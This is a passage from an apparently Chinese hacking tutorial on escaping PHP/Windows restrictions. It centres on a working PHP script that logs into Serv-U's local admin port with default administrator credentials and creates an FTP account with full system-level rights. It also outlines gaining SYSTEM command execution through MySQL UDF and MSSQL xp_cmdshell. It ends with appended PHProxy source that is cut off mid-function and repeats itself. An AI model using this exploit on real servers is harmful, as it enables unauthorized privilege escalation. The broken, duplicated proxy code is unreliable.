使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子：

$adminuser=” LocalAdministrator”;

$adminpass=” #l@$ak#.lk;0@P”;

$adminport=” 43958”;

$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);

if (!$fp) {

echo "$errstr ($errno)
\n";

} else {

//可以写入$shellcode

// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");

sleep (1);

fputs ($fp, "PASS ".$adminpass."\r\n");

sleep (1);

fputs ($fp, "SITE MAINTENANCE\r\n");

sleep (1);

fputs ($fp, "-SETUSERSETUP\r\n");

fputs ($fp, "-IP=".$addr."\r\n");

fputs ($fp, "-PortNo=".$ftpport."\r\n");

fputs ($fp, "-User=".$user."\r\n");

fputs ($fp, "-Password=".$password."\r\n");

fputs ($fp, "-HomeDir=".$homedir."\r\n");

fputs ($fp, "-LoginMesFile=\r\n");

fputs ($fp, "-Disable=0\r\n");

fputs ($fp, "-RelPaths=0\r\n");

fputs ($fp, "-NeedSecure=0\r\n");

fputs ($fp, "-HideHidden=0\r\n");

fputs ($fp, "-AlwaysAllowLogin=0\r\n");

fputs ($fp, "-ChangePassword=1\r\n");

fputs ($fp, "-QuotaEnable=0\r\n");

fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

fputs ($fp, "-SpeedLimitUp=-1\r\n");

fputs ($fp, "-SpeedLimitDown=-1\r\n");

fputs ($fp, "-MaxNrUsers=-1\r\n");

fputs ($fp, "-IdleTimeOut=600\r\n");

fputs ($fp, "-SessionTimeOut=-1\r\n");

fputs ($fp, "-Expire=0\r\n");

fputs ($fp, "-RatioUp=1\r\n");

fputs ($fp, "-RatioDown=1\r\n");

fputs ($fp, "-RatiosCredit=0\r\n");

fputs ($fp, "-QuotaCurrent=0\r\n");

fputs ($fp, "-QuotaMaximum=0\r\n");

fputs ($fp, "-Maintenance=System\r\n");

fputs ($fp, "-PasswordType=Regular\r\n");

fputs ($fp, "-Ratios=None\r\n");

fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");

fputs ($fp, "QUIT\r\n");

sleep (1);

while (!feof($fp)) {

echo fgets ($fp,128);

}

}

?>

还可以利用fsockopen编写HTTP代理，从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy（图4），代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
 
不同于linux的是，windows下的mysql/MSSQL一般是以系统管理员身份运行的，因此，只要能拿到本机SQL数据库中的root/sa密码，你就可以直接用PHP连接数据库来执行系统命令。

在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库，就能直接调用“master..xp_cmdshell“扩展执行命令，权限当然是system权限。

总结一下：由于系统、IIS、PHP的版本不一样，以上提到的几个突破方法可能会有所变化，PHP还有许多扩展功能是可以利用的，走出system（）那几个系统命令执行函数，你就有可能突破系统安全策略的限制！

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1,
'remove_scripts' => 1, 'accept_cookies' =>
1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '')
. " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,
application/xhtml+xml,text/html;
q=0.9,text/plain;q=0.8,video/x-mng,image/png,
image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,
application/xhtml+xml,text/html;
q=0.9,text/plain;q=0.8,video/x-mng,
image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if (

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